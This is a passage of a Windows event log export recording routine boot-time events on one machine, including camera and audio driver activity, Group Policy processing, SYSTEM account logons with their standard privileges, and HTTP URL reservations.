08:28:57.877\t204\tStart of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t205\tStop of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t220\tPowerIrp_CheckingPLFRegistry\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.878\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.878\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.878\t230\tPowerIrp_PassiveWakeupCompleted\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.879\t50\tCamera DeviceMFT InitializeTransform, SymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\GLOBAL\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.887\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t51\tCamera DeviceMFT InitializeTransform, hr: 0x0\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.893\t222\tStart of RestoreDefaults\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.894\t223\tStop of RestoreDefaults\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.894\t202\tStart of PowerDownDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.894\t203\tStop of PowerDownDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.894\t206\tStart of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.895\t207\tStop of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.895\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.895\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.903\t62\tFrameServer FsmDeviceWatcher InternalUpdateSensorGroups Stop, AnyFailed: false\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.916\t267\tTouch/Touchpad Hardware Quality Assurance verification succeeded.\tInformation\tSystem\tWin32k\n05.09.2026 08:28:57.923\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.923\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.935\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.940\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.943\t180\tReceived Po AudioStandby request\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.946\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.948\t4000\t\"Starting computer boot policy processing for WORKGROUP\\HONOR-FRG-X$. \nActivity id: {e95cffa2-4e00-44b7-99d3-fff2833b3dc9}\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.948\t5340\tThe Group Policy processing mode is Foreground asynchronous.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.959\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.960\t5311\tThe loopback policy processing mode is \"No loopback mode\".\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.960\t4126\tGroup Policy receiving applicable GPOs from the domain controller.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.960\t5257\tSuccessfully completed downloading policies.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.960\t0\t\"VmSwitch Driver state\n\nState: Started Loading,\nFunction: DriverEntry\"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.960\t277\tvmswitch.sys build 26100.amd64.ge_release_svc_prod1, debug false, official true, Aug  8 2026 09:35:10\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.961\t5126\tGroup Policy successfully got applicable GPOs from the domain controller.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.961\t5312\t\"List of applicable Group Policy objects: \n\nLocal Group Policy\n\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.961\t5313\t\"The following Group Policy objects were not applicable because they were filtered out : \n\n\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.962\t0\t\"ProtocolNic NetPnpEvent Begin\n\nnetPnpEvent: NetEventBindsComplete,\nnicName: ,\nnicFriendlyName: ,\nswitchName: ,\nswitchFriendlyName: \"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.962\t0\t\"ProtocolNic NetPnpEvent End\n\nnetPnpEvent: NetEventBindsComplete,\nnicName: ,\nnicFriendlyName: ,\nswitchName: ,\nswitchFriendlyName: ,\ndelta (100 ns): 57,\nStatus: 0x0(NT=STATUS_SUCCESS)\"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.963\t0\t\"ExtProtocol NetPnpEvent Begin\n\nnetPnpEvent: NetEventBindsComplete,\nswitchName: ,\nswitchFriendlyName: \"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.963\t0\t\"ExtProtocol NetPnpEvent End\n\nnetPnpEvent: NetEventBindsComplete,\nswitchName: ,\nswitchFriendlyName: ,\ndelta (100 ns): 79,\nStatus: 0x0(NT=STATUS_SUCCESS)\"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.963\t0\t\"VmSwitch Driver state\n\nState: Installed and Started.,\nFunction: DriverEntry,\ndelta (100 ns): 31357,\nStatus: 0x0(NT=STATUS_SUCCESS)\"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.965\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.965\t5320\tChecking for Group Policy client extensions that are not part of the system.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.965\t5320\tService configuration update to standalone is not required and will be skipped.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.965\t5320\tFinished checking for non-system extensions.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.972\t8000\tCompleted computer boot policy processing for WORKGROUP\\HONOR-FRG-X$ in 0 seconds.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.973\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.983\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.983\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.993\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.996\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.996\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.996\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.996\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.006\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.006\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.040\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://*:5357/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:80/Temporary_Listen_Addresses/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://*:5358/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://*:2869/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:5986/wsman/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:47001/wsman/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:5985/wsman/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:10245/WMPNSSv4/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:10243/WMPNSSv4/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:3387/rdp/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:3392/rdp/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/. Status 